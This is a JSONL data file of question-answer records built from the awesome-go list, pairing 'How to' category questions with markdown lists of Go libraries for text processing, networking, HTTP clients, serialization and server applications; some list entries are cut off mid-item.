{"id": "gh_65e4da7a223d", "question": "How to: Language Detection", "question_body": "About avelino/awesome-go", "answer": "- [detectlanguage](https://github.com/detectlanguage/detectlanguage-go) - Language Detection API Go Client. Supports batch requests, short phrase or single word language detection.\n- [getlang](https://github.com/rylans/getlang) - Fast natural language detection package.\n- [guesslanguage](https://github.com/endeveit/guesslanguage) - Functions to determine the natural language of a unicode text.\n- [lingua-go](https://github.com/pemistahl/lingua-go) - An accurate natural language detection library, suitable for long and short text alike. Supports detecting multiple languages in mixed-language text.\n- [whatlanggo](https://github.com/abadojack/whatlanggo) - Natural language detection package for Go. Supports 84 languages and 24 scripts (writing systems e.g. Latin, Cyrillic, etc).", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082783"}
{"id": "gh_7ed14620290e", "question": "How to: Morphological Analyzers", "question_body": "About avelino/awesome-go", "answer": "- [go-stem](https://github.com/agonopol/go-stem) - Implementation of the porter stemming algorithm.\n- [go2vec](https://github.com/danieldk/go2vec) - Reader and utility functions for word2vec embeddings.\n- [golibstemmer](https://github.com/rjohnsondev/golibstemmer) - Go bindings for the snowball libstemmer library including porter 2.\n- [gosentiwordnet](https://github.com/dinopuguh/gosentiwordnet) - Sentiment analyzer using sentiwordnet lexicon in Go.\n- [govader](https://github.com/jonreiter/govader) - Go implementation of [VADER Sentiment Analysis](https://github.com/cjhutto/vaderSentiment).\n- [govader-backend](https://github.com/PIMPfiction/govader_backend) - Microservice implementation of [GoVader](https://github.com/jonreiter/govader).\n- [kagome](https://github.com/ikawaha/kagome) - JP morphological analyzer written in pure Go.\n- [libtextcat](https://github.com/goodsign/libtextcat) - Cgo binding for libtextcat C library. Guaranteed compatibility with version 2.2.\n- [nlp](https://github.com/james-bowman/nlp) - Go Natural Language Processing library supporting LSA (Latent Semantic Analysis).\n- [paicehusk](https://github.com/rookii/paicehusk) - Golang implementation of the Paice/Husk Stemming Algorithm.\n- [porter](https://github.com/a2800276/porter) - This is a fairly straightforward port of Martin Porter's C implementation of the Porter stemming algorithm.\n- [porter2](https://github.com/zhenjl/porter2) - Really fast Porter 2 stemmer.\n- [RAKE.go](https://github.com/afjoseph/RAKE.Go) - Go port of the Rapid Automatic Keyword Extraction Algorithm (RAKE).\n- [snowball](https://github.com/goodsign/snowball) - Snowball stemmer port (cgo wrapper) for Go. Provides word stem extraction functionality [Snowball native](http://snowball.tartarus.org/).\n- [spaGO](https://github.com/nlpodyssey/spago) - Self-contained Machine Learning and Natural Language Processing library in Go.\n- [spelling-corrector](https://github.com/jorelosorio/spellingcorrector) - A spelling corrector for the Spanish language or create your own.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082790"}
{"id": "gh_7c0aa9f4cf5f", "question": "How to: Slugifiers", "question_body": "About avelino/awesome-go", "answer": "- [go-slugify](https://github.com/mozillazg/go-slugify) - Make pretty slug with multiple languages support.\n- [slug](https://github.com/gosimple/slug) - URL-friendly slugify with multiple languages support.\n- [Slugify](https://github.com/avelino/slugify) - Go slugify application that handles string.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082795"}
{"id": "gh_6481c5354892", "question": "How to: Tokenizers", "question_body": "About avelino/awesome-go", "answer": "- [gojieba](https://github.com/yanyiwu/gojieba) - This is a Go implementation of [jieba](https://github.com/fxsjy/jieba) which a Chinese word splitting algorithm.\n- [gotokenizer](https://github.com/xujiajun/gotokenizer) - A tokenizer based on the dictionary and Bigram language models for Golang. (Now only support chinese segmentation)\n- [gse](https://github.com/go-ego/gse) - Go efficient text segmentation; support english, chinese, japanese and other.\n- [MMSEGO](https://github.com/awsong/MMSEGO) - This is a GO implementation of [MMSEG](http://technology.chtsai.org/mmseg/) which a Chinese word splitting algorithm.\n- [segment](https://github.com/blevesearch/segment) - Go library for performing Unicode Text Segmentation as described in [Unicode Standard Annex #29](https://www.unicode.org/reports/tr29/)\n- [sentences](https://github.com/neurosnap/sentences) - Sentence tokenizer: converts text into a list of sentences.\n- [shamoji](https://github.com/osamingo/shamoji) - The shamoji is word filtering package written in Go.\n- [stemmer](https://github.com/dchest/stemmer) - Stemmer packages for Go programming language. Includes English and German stemmers.\n- [textcat](https://github.com/pebbe/textcat) - Go package for n-gram based text categorization, with support for utf-8 and raw text.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082801"}
{"id": "gh_72cffca2f28b", "question": "How to: Translation", "question_body": "About avelino/awesome-go", "answer": "- [ctxi18n](https://github.com/invopop/ctxi18n/) - Context aware i18n with a short and consise API, pluralization, interpolation, and `fs.FS` support. YAML locale definitions are based on [Rails i18n](https://guides.rubyonrails.org/i18n.html).\n- [go-i18n](https://github.com/nicksnyder/go-i18n/) - Package and an accompanying tool to work with localized text.\n- [go-mystem](https://github.com/dveselov/mystem) - CGo bindings to Yandex.Mystem - russian morphology analyzer.\n- [go-pinyin](https://github.com/mozillazg/go-pinyin) - CN Hanzi to Hanyu Pinyin converter.\n- [go-words](https://github.com/saleh-rahimzadeh/go-words) - A words table and text resource library for Golang projects.\n- [gotext](https://github.com/leonelquinteros/gotext) - GNU gettext utilities for Go.\n- [iuliia-go](https://github.com/mehanizm/iuliia-go) - Transliterate Cyrillic → Latin in every possible way.\n- [spreak](https://github.com/vorlif/spreak) - Flexible translation and humanization library for Go, based on the concepts behind gettext.\n- [t](https://github.com/youthlin/t) - Another i18n pkg for golang, which follows GNU gettext style and supports .po/.mo files: `t.T (gettext)`, `t.N (ngettext)`, etc. And it contains a cmd tool [xtemplate](https://github.com/youthlin/t/blob/main/cmd/xtemplate), which can extract messages as a pot file from text/html template.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082808"}
{"id": "gh_edfa8748dbc4", "question": "How to: Transliteration", "question_body": "About avelino/awesome-go", "answer": "- [enca](https://github.com/endeveit/enca) - Minimal cgo bindings for [libenca](https://cihar.com/software/enca/), which detects character encodings.\n- [go-unidecode](https://github.com/mozillazg/go-unidecode) - ASCII transliterations of Unicode text.\n- [gounidecode](https://github.com/fiam/gounidecode) - Unicode transliterator (also known as unidecode) for Go.\n- [transliterator](https://github.com/alexsergivan/transliterator) - Provides one-way string transliteration with supporting of language-specific transliteration rules.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082814"}
{"id": "gh_af928afd0aae", "question": "How to: Networking", "question_body": "About avelino/awesome-go", "answer": "_Libraries for working with various layers of the network._\n\n- [arp](https://github.com/mdlayher/arp) - Package arp implements the ARP protocol, as described in RFC 826.\n- [bart](https://github.com/gaissmai/bart) - Package bart provides a Balanced-Routing-Table (BART) for very fast IP to CIDR lookups and more.\n- [buffstreams](https://github.com/stabbycutyou/buffstreams) - Streaming protocolbuffer data over TCP made easy.\n- [canopus](https://github.com/zubairhamed/canopus) - CoAP Client/Server implementation (RFC 7252).\n- [cidranger](https://github.com/yl2chen/cidranger) - Fast IP to CIDR lookup for Go.\n- [cloudflared](https://github.com/cloudflare/cloudflared) - Cloudflare Tunnel client (formerly Argo Tunnel).\n- [dhcp6](https://github.com/mdlayher/dhcp6) - Package dhcp6 implements a DHCPv6 server, as described in RFC 3315.\n- [dns](https://github.com/miekg/dns) - Go library for working with DNS.\n- [dnsmonster](https://github.com/mosajjal/dnsmonster) - Passive DNS Capture/Monitoring Framework.\n- [easytcp](https://github.com/DarthPestilane/easytcp) - A light-weight TCP framework written in Go (Golang), built with message router. EasyTCP helps you build a TCP server easily fast and less painful.\n- [ether](https://github.com/songgao/ether) - Cross-platform Go package for sending and receiving ethernet frames.\n- [ethernet](https://github.com/mdlayher/ethernet) - Package ethernet implements marshaling and unmarshalling of IEEE 802.3 Ethernet II frames and IEEE 802.1Q VLAN tags.\n- [event](https://github.com/cheng-zhongliang/event) - Simple I/O event notification library written in Golang.\n- [fasthttp](https://github.com/valyala/fasthttp) - Package fasthttp is a fast HTTP implementation for Go, up to 10 times faster than net/http.\n- [fortio](https://github.com/fortio/fortio) - Load testing library and command line tool, advanced echo server and web UI. Allows to specify a set query-per-second load and record latency histograms and other useful stats and graph them. Tcp, Http, gRPC.\n- [ftp](https://github.com/jlaffaye/ftp) - Package ftp implements a FTP client as described in [RFC 959](https://tools.ietf.org/html/rfc959).\n- [ftpserverlib](https://github.com/fclairamb/ftpserverlib) - Fully featured FTP server library.\n- [fullproxy](https://github.com/shoriwe/fullproxy) - A fully featured scriptable and daemon configurable proxy and pivoting toolkit with SOCKS5, HTTP, raw ports and reverse proxy protocols.\n- [fwdctl](https://github.com/alegrey91/fwdctl) - A simple and intuitive CLI to manage IPTables forwards in your Linux server.\n- [gaio](https://github.com/xtaci/gaio) - High performance async-io networking for Golang in proactor mode.\n- [gev](https://github.com/Allenxuxu/gev) - gev is a lightweight, fast non-blocking TCP network library based on Reactor mode.\n- [gldap](https://github.com/jimlambrt/gldap) - gldap provides an ldap server implementation and you provide handlers for its ldap operations.\n- [gmqtt](https://github.com/DrmagicE/gmqtt) - Gmqtt is a flexible, high-performance MQTT broker library that fully implements the MQTT protocol V3.1.1.\n- [gnet](https://github.com/panjf2000/gnet) - `gnet` is a high-performance, lightweight, non-blocking, event-driven networking framework written in pure Go.\n- [gnet](https://github.com/fish-tennis/gnet) - `gnet` is a high-performance networking framework,especially for game servers.\n- [gNxI](https://github.com/google/gnxi) - A collection of tools for Network Management that use the gNMI and gNOI protocols.\n- [go-getter](https://github.com/hashicorp/go-getter) - Go library for downloading files or directories from various sources using a URL.\n- [go-multiproxy](https://github.com/presbrey/go-multiproxy) - Library for making HTTP requests through a pool of proxies offering fault tolerance, load balancing, automatic retries, cookie management, and more, via http.Get/Post replacement or http.Client RoundTripper drop-in\n- [go-pcaplite](https://github.com/alexcfv/go-pcaplite) - Lightweight live packet capture library with HTTPS SNI extraction.\n- [go-powerdns](https://github.com/joeig/go-powerdns) - PowerDNS API bindings for Golang.\n- [go-sse](https://github.com/lampctl/go-sse) - Go client and server implementation of HTML server-sent events.\n- [go-stun](https://github.com/ccding/go-stun) - Go implementation of the STUN client (RFC 3489 and RFC 5389).\n- [gobgp](https://github.com/osrg/gobgp) - BGP implemented in the Go Programming Language.\n- [gopacket](https://github.com/google/gopacket) - Go library for packet processing with libpcap bindings.\n- [gopcap](https://github.com/akrennmair/gopcap) - Go wrapper for libpcap.\n- [GoProxy](https://github.com/elazarl/goproxy) - A library to create a customized HTTP/HTTPS proxy server using Go.\n- [goshark](https://github.com/sunwxg/goshark) - Package goshark use tshark to decode IP packet and create data struct to analyse packet.\n- [gosnmp](https://github.com/soniah/gosnmp) - Native Go library for performing SNMP actions.\n- [gotcp](https://", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082842"}
{"id": "gh_71931452833a", "question": "How to: HTTP Clients", "question_body": "About avelino/awesome-go", "answer": "_Libraries for making HTTP requests._\n\n- [axios4go](https://github.com/rezmoss/axios4go) - A Go HTTP client library inspired by Axios, providing a simple and intuitive API for making HTTP requests.\n- [azuretls-client](https://github.com/Noooste/azuretls-client) - An easy-to-use HTTP client 100% in Go to spoof TLS/JA3 and HTTP2 fingerprint.\n- [fast-shot](https://github.com/opus-domini/fast-shot) - Hit your API targets with rapid-fire precision using Go's fastest and simple HTTP Client.\n- [gentleman](https://github.com/h2non/gentleman) - Full-featured plugin-driven HTTP client library.\n- [go-cleanhttp](https://github.com/hashicorp/go-cleanhttp) - Get easily stdlib HTTP client, which does not share any state with other clients.\n- [go-http-client](https://github.com/bozd4g/go-http-client) - Make http calls simply and easily.\n- [go-ipmux](https://github.com/optimus-hft/go-ipmux) - A library for Multiplexing HTTP requests based on multiple Source IPs.\n- [go-otelroundtripper](https://github.com/NdoleStudio/go-otelroundtripper) - Go http.RoundTripper that emits open telemetry metrics for HTTP requests.\n- [go-req](https://github.com/wenerme/go-req) - Declarative golang HTTP client.\n- [go-retryablehttp](https://github.com/hashicorp/go-retryablehttp) - Retryable HTTP client in Go.\n- [go-zoox/fetch](https://github.com/go-zoox/fetch) - A Powerful, Lightweight, Easy Http Client, inspired by Web Fetch API.\n- [Grequest](https://github.com/lib4u/grequest)  - Simple and lightweight golang package for http requests. based on powerful net/http\n- [grequests](https://github.com/levigross/grequests) - A Go \"clone\" of the great and famous Requests library.\n- [heimdall](https://github.com/gojektech/heimdall) - An enhanced http client with retry and hystrix capabilities.\n- [httpretry](https://github.com/ybbus/httpretry) - Enriches the default go HTTP client with retry functionality.\n- [pester](https://github.com/sethgrid/pester) - Go HTTP client calls with retries, backoff, and concurrency.\n- [req](https://github.com/imroc/req) - Simple Go HTTP client with Black Magic (Less code and More efficiency).\n- [request](https://github.com/monaco-io/request) - HTTP client for golang. If you have experience about axios or requests, you will love it. No 3rd dependency.\n- [requests](https://github.com/carlmjohnson/requests) - HTTP requests for Gophers. Uses context.Context and doesn't hide the underlying net/http.Client, making it compatible with standard Go APIs. Also includes testing tools.\n- [resty](https://github.com/go-resty/resty) - Simple HTTP and REST client for Go inspired by Ruby rest-client.\n- [rq](https://github.com/ddo/rq) - A nicer interface for golang stdlib HTTP client.\n- [sling](https://github.com/dghubble/sling) - Sling is a Go HTTP client library for creating and sending API requests.\n- [tls-client](https://github.com/bogdanfinn/tls-client) - net/http.Client like HTTP Client with options to select specific client TLS Fingerprints to use for requests.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082854"}
{"id": "gh_1ab7a92ecc2e", "question": "How to: Package Management", "question_body": "About avelino/awesome-go", "answer": "_Official tooling for dependency and package management_\n\n- [go modules](https://golang.org/cmd/go/#hdr-Modules__module_versions__and_more) - Modules are the unit of source code interchange and versioning. The go command has direct support for working with modules, including recording and resolving dependencies on other modules.\n\n_Unofficial libraries for package and dependency management._\n\n- [gup](https://github.com/nao1215/gup) - Update binaries installed by \"go install\".\n- [modup](https://github.com/chaindead/modup) - Terminal UI for Go dependency updates with outdated module detection and selective upgrading.\n- [syft](https://github.com/anchore/syft) - A CLI tool and Go library for generating a Software Bill of Materials (SBOM) from container images and filesystems.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082865"}
{"id": "gh_9bcfb8a3be1c", "question": "How to: Performance", "question_body": "About avelino/awesome-go", "answer": "- [ebpf-go](https://github.com/cilium/ebpf) - Provides utilities for loading, compiling, and debugging eBPF programs.\n- [go-instrument](https://github.com/nikolaydubina/go-instrument) - Automatically add spans to all methods and functions.\n- [jaeger](https://github.com/jaegertracing/jaeger) - A distributed tracing system.\n- [mm-go](https://github.com/joetifa2003/mm-go) - Generic manual memory management for golang.\n- [pixie](https://github.com/pixie-labs/pixie) - No instrumentation tracing for Golang applications via eBPF.\n- [profile](https://github.com/pkg/profile) - Simple profiling support package for Go.\n- [statsviz](https://github.com/arl/statsviz) - Live visualization of your Go application runtime statistics.\n- [tracer](https://github.com/kamilsk/tracer) - Simple, lightweight tracing.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082872"}
{"id": "gh_b0298b17a0a5", "question": "How to: Query Language", "question_body": "About avelino/awesome-go", "answer": "- [api-fu](https://github.com/ccbrown/api-fu) - Comprehensive GraphQL implementation.\n- [dasel](https://github.com/tomwright/dasel) - Query and update data structures using selectors from the command line. Comparable to jq/yq but supports JSON, YAML, TOML and XML with zero runtime dependencies.\n- [gojsonq](https://github.com/thedevsaddam/gojsonq) - A simple Go package to Query over JSON Data.\n- [goven](https://github.com/SeldonIO/goven) - A drop-in query language for any database schema.\n- [gqlgen](https://github.com/99designs/gqlgen) - go generate based graphql server library.\n- [grapher](https://github.com/reaganiwadha/grapher) - A GraphQL field builder utilizing Go generics with extra utilities and features.\n- [graphql](https://github.com/neelance/graphql-go) - GraphQL server with a focus on ease of use.\n- [graphql-go](https://github.com/graphql-go/graphql) - Implementation of GraphQL for Go.\n- [gws](https://github.com/Zaba505/gws) - Apollos' \"GraphQL over Websocket\" client and server implementation.\n- [jsonpath](https://github.com/AsaiYusuke/jsonpath) - A query library for retrieving part of JSON based on JSONPath syntax.\n- [jsonql](https://github.com/elgs/jsonql) - JSON query expression library in Golang.\n- [jsonslice](https://github.com/bhmj/jsonslice) - Jsonpath queries with advanced filters.\n- [mql](https://github.com/hashicorp/mql) - Model Query Language (mql) is a query language for your database models.\n- [rql](https://github.com/a8m/rql) - Resource Query Language for REST API.\n- [rqp](https://github.com/timsolov/rest-query-parser) - Query Parser for REST API. Filtering, validations, both `AND`, `OR` operations are supported directly in the query.\n- [straf](https://github.com/SonicRoshan/straf) - Easily Convert Golang structs to GraphQL objects.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082880"}
{"id": "gh_116833e2d5b7", "question": "How to: Reflection", "question_body": "About avelino/awesome-go", "answer": "- [copy](https://github.com/gotidy/copy) - Package for fast copying structs of different types.\n- [Deepcopier](https://github.com/ulule/deepcopier) - Simple struct copying for Go.\n- [go-deepcopy](https://github.com/tiendc/go-deepcopy) - Fast deep copy library.\n- [goenum](https://github.com/lvyahui8/goenum) - A common enumeration struct based on generics and reflection that allows you to quickly define enumerations and use a set of useful default methods.\n- [gotype](https://github.com/wzshiming/gotype) - Golang source code parsing, usage like reflect package.\n- [gpath](https://github.com/tenntenn/gpath) - Library to simplify access struct fields with Go's expression in reflection.\n- [objwalker](https://github.com/rekby/objwalker) - Walk by go objects with reflection.\n- [reflectpro](https://github.com/gontainer/reflectpro) - Callers, copiers, getters and setters for go.\n- [reflectutils](https://github.com/muir/reflectutils) - Helpers for working with reflection: struct tag parsing; recursive walking; fill value from string.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082887"}
{"id": "gh_f19a099a0bc9", "question": "How to: Resource Embedding", "question_body": "About avelino/awesome-go", "answer": "- [debme](https://github.com/leaanthony/debme) - Create an `embed.FS` from an existing `embed.FS` subdirectory.\n- [embed](https://pkg.go.dev/embed) - Package embed provides access to files embedded in the running Go program.\n- [rebed](https://github.com/soypat/rebed) - Recreate folder structures and files from Go 1.16's `embed.FS` type\n- [vfsgen](https://github.com/shurcooL/vfsgen) - Generates a vfsdata.go file that statically implements the given virtual filesystem.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082893"}
{"id": "gh_67a888bd6966", "question": "How to: Science and Data Analysis", "question_body": "About avelino/awesome-go", "answer": "_Libraries for scientific computing and data analyzing._\n\n- [assocentity](https://github.com/ndabAP/assocentity) - Package assocentity returns the average distance from words to a given entity.\n- [bradleyterry](https://github.com/seanhagen/bradleyterry) - Provides a Bradley-Terry Model for pairwise comparisons.\n- [calendarheatmap](https://github.com/nikolaydubina/calendarheatmap) - Calendar heatmap in plain Go inspired by Github contribution activity.\n- [chart](https://github.com/vdobler/chart) - Simple Chart Plotting library for Go. Supports many graphs types.\n- [dataframe-go](https://github.com/rocketlaunchr/dataframe-go) - Dataframes for machine-learning and statistics (similar to pandas).\n- [decimal](https://github.com/db47h/decimal) - Package decimal implements arbitrary-precision decimal floating-point arithmetic.\n- [evaler](https://github.com/soniah/evaler) - Simple floating point arithmetic expression evaluator.\n- [ewma](https://github.com/VividCortex/ewma) - Exponentially-weighted moving averages.\n- [geom](https://github.com/skelterjohn/geom) - 2D geometry for golang.\n- [go-dsp](https://github.com/mjibson/go-dsp) - Digital Signal Processing for Go.\n- [go-estimate](https://github.com/milosgajdos/go-estimate) - State estimation and filtering algorithms in Go.\n- [go-gt](https://github.com/ThePaw/go-gt) - Graph theory algorithms written in \"Go\" language.\n- [go-hep](https://github.com/go-hep/hep) - A set of libraries and tools for performing High Energy Physics analyses with ease.\n- [godesim](https://github.com/soypat/godesim) - Extended/multivariable ODE solver framework for event-based simulations with simple API.\n- [goent](https://github.com/kzahedi/goent) - GO Implementation of Entropy Measures.\n- [gograph](https://github.com/hmdsefi/gograph) - A golang generic graph library that provides mathematical graph-theory and algorithms.\n- [gonum](https://github.com/gonum/gonum) - Gonum is a set of numeric libraries for the Go programming language. It contains libraries for matrices, statistics, optimization, and more.\n- [gonum/plot](https://github.com/gonum/plot) - gonum/plot provides an API for building and drawing plots in Go.\n- [goraph](https://github.com/gyuho/goraph) - Pure Go graph theory library(data structure, algorithm visualization).\n- [gosl](https://github.com/cpmech/gosl) - Go scientific library for linear algebra, FFT, geometry, NURBS, numerical methods, probabilities, optimisation, differential equations, and more.\n- [GoStats](https://github.com/OGFris/GoStats) - GoStats is an Open Source GoLang library for math statistics mostly used in Machine Learning domains, it covers most of the Statistical measures functions.\n- [graph](https://github.com/yourbasic/graph) - Library of basic graph algorithms.\n- [jsonl-graph](https://github.com/nikolaydubina/jsonl-graph) - Tool to manipulate JSONL graphs with graphviz support.\n- [ode](https://github.com/ChristopherRabotin/ode) - Ordinary differential equation (ODE) solver which supports extended states and channel-based iteration stop conditions.\n- [orb](https://github.com/paulmach/orb) - 2D geometry types with clipping, GeoJSON and Mapbox Vector Tile support.\n- [pagerank](https://github.com/alixaxel/pagerank) - Weighted PageRank algorithm implemented in Go.\n- [piecewiselinear](https://github.com/sgreben/piecewiselinear) - Tiny linear interpolation library.\n- [PiHex](https://github.com/claygod/PiHex) - Implementation of the \"Bailey-Borwein-Plouffe\" algorithm for the hexadecimal number Pi.\n- [Poly](https://github.com/bebop/poly) - A Go package for engineering organisms.\n- [rootfinding](https://github.com/khezen/rootfinding) - root-finding algorithms library for finding roots of quadratic functions.\n- [sparse](https://github.com/james-bowman/sparse) - Go Sparse matrix formats for linear algebra supporting scientific and machine learning applications, compatible with gonum matrix libraries.\n- [stats](https://github.com/montanaflynn/stats) - Statistics package with common functions missing from the Golang standard library.\n- [streamtools](https://github.com/nytlabs/streamtools) - general purpose, graphical tool for dealing with streams of data.\n- [TextRank](https://github.com/DavidBelicza/TextRank) - TextRank implementation in Golang with extendable features (summarization, weighting, phrase extraction) and multithreading (goroutine) support.\n- [topk](https://github.com/keilerkonzept/topk) - Sliding-window and regular top-K sketches, based on the HeavyKeeper algorithm.\n- [triangolatte](https://github.com/tchayen/triangolatte) - 2D triangulation library. Allows translating lines and polygons (both based on points) to the language of GPUs.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082907"}
{"id": "gh_24d2ae8e4bec", "question": "How to: Serialization", "question_body": "About avelino/awesome-go", "answer": "_Libraries and tools for binary serialization._\n\n- [bambam](https://github.com/glycerine/bambam) - generator for Cap'n Proto schemas from go.\n- [bel](https://github.com/32leaves/bel) - Generate TypeScript interfaces from Go structs/interfaces. Useful for JSON RPC.\n- [binstruct](https://github.com/ghostiam/binstruct) - Golang binary decoder for mapping data into the structure.\n- [cbor](https://github.com/fxamacker/cbor) - Small, safe, and easy CBOR encoding and decoding library.\n- [colfer](https://github.com/pascaldekloe/colfer) - Code generation for the Colfer binary format.\n- [csvutil](https://github.com/jszwec/csvutil) - High Performance, idiomatic CSV record encoding and decoding to native Go structures.\n- [elastic](https://github.com/epiclabs-io/elastic) - Convert slices, maps or any other unknown value across different types at run-time, no matter what.\n- [fixedwidth](https://github.com/huydang284/fixedwidth) - Fixed-width text formatting (UTF-8 supported).\n- [fwencoder](https://github.com/o1egl/fwencoder) - Fixed width file parser (encoding and decoding library) for Go.\n- [go-capnproto](https://github.com/glycerine/go-capnproto) - Cap'n Proto library and parser for go.\n- [go-codec](https://github.com/ugorji/go) - High Performance, feature-Rich, idiomatic encode, decode and rpc library for msgpack, cbor and json, with runtime-based OR code-generation support.\n- [go-csvlib](https://github.com/tiendc/go-csvlib) - High level and rich functionalities CSV serialization/deserialization library.\n- [goprotobuf](https://github.com/golang/protobuf) - Go support, in the form of a library and protocol compiler plugin, for Google's protocol buffers.\n- [gotiny](https://github.com/raszia/gotiny) - Efficient Go serialization library, gotiny is almost as fast as serialization libraries that generate code.\n- [jsoniter](https://github.com/json-iterator/go) - High-performance 100% compatible drop-in replacement of \"encoding/json\".\n- [php_session_decoder](https://github.com/yvasiyarov/php_session_decoder) - GoLang library for working with PHP session format and PHP Serialize/Unserialize functions.\n- [pletter](https://github.com/vimeda/pletter) - A standard way to wrap a proto message for message brokers.\n- [structomap](https://github.com/tuvistavie/structomap) - Library to easily and dynamically generate maps from static structures.\n- [unitpacking](https://github.com/recolude/unitpacking) - Library to pack unit vectors into as fewest bytes as possible.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082925"}
{"id": "gh_c5e9edfdb101", "question": "How to: Server Applications", "question_body": "About avelino/awesome-go", "answer": "- [algernon](https://github.com/xyproto/algernon) - HTTP/2 web server with built-in support for Lua, Markdown, GCSS and Amber.\n- [Caddy](https://github.com/caddyserver/caddy) - Caddy is an alternative, HTTP/2 web server that's easy to configure and use.\n- [consul](https://www.consul.io/) - Consul is a tool for service discovery, monitoring and configuration.\n- [cortex-tenant](https://github.com/blind-oracle/cortex-tenant) - Prometheus remote write proxy that adds add Cortex tenant ID header based on metric labels.\n- [devd](https://github.com/cortesi/devd) - Local webserver for developers.\n- [discovery](https://github.com/Bilibili/discovery) - A registry for resilient mid-tier load balancing and failover.\n- [dudeldu](https://github.com/krotik/dudeldu) - A simple SHOUTcast server.\n- [Easegress](https://github.com/megaease/easegress) - A cloud native high availability/performance traffic orchestration system with observability and extensibility.\n- [Engity's Bifröst](https://bifroest.engity.org/) - Highly customizable SSH server with several ways to authorize a user how to execute its session (local or in containers).\n- [etcd](https://github.com/etcd-io/etcd) - Highly-available key value store for shared configuration and service discovery.\n- [Euterpe](https://github.com/ironsmile/euterpe) - Self-hosted music streaming server with built-in web UI and REST API.\n- [Fider](https://github.com/getfider/fider) - Fider is an open platform to collect and organize customer feedback.\n- [Flagr](https://github.com/checkr/flagr) - Flagr is an open-source feature flagging and A/B testing service.\n- [flipt](https://github.com/markphelps/flipt) - A self contained feature flag solution written in Go and Vue.js\n- [go-feature-flag](https://github.com/thomaspoignant/go-feature-flag) - A simple, complete and lightweight self-hosted feature flag solution 100% Open Source.\n- [go-proxy-cache](https://github.com/fabiocicerchia/go-proxy-cache) - Simple Reverse Proxy with Caching, written in Go, using Redis.\n- [gondola](https://github.com/bmf-san/gondola) - A YAML based golang reverse proxy.\n- [lets-proxy2](https://github.com/rekby/lets-proxy2) - Reverse proxy for handle https with issue certificates in fly from lets-encrypt.\n- [minio](https://github.com/minio/minio) - Minio is a distributed object storage server.\n- [Moxy](https://github.com/sinhashubham95/moxy) - Moxy is a simple mocker and proxy application server, you can create mock endpoints as well as proxy requests in case no mock exists for the endpoint.\n- [nginx-prometheus](https://github.com/blind-oracle/nginx-prometheus) - Nginx log parser and exporter to Prometheus.\n- [nsq](https://nsq.io/) - A realtime distributed messaging platform.\n- [OpenRun](https://github.com/openrundev/openrun) - Open-source alternative to Google Cloud Run and AWS App Runner. Easily deploy internal tools across a team.\n- [pocketbase](https://github.com/pocketbase/pocketbase) - PocketBase is a realtime backend in 1 file consisting of embedded database (SQLite) with realtime subscriptions, built-in auth management and much more.\n- [protoxy](https://github.com/camgraff/protoxy) - A proxy server that converts JSON request bodies to Protocol Buffers.\n- [psql-streamer](https://github.com/blind-oracle/psql-streamer) - Stream database events from PostgreSQL to Kafka.\n- 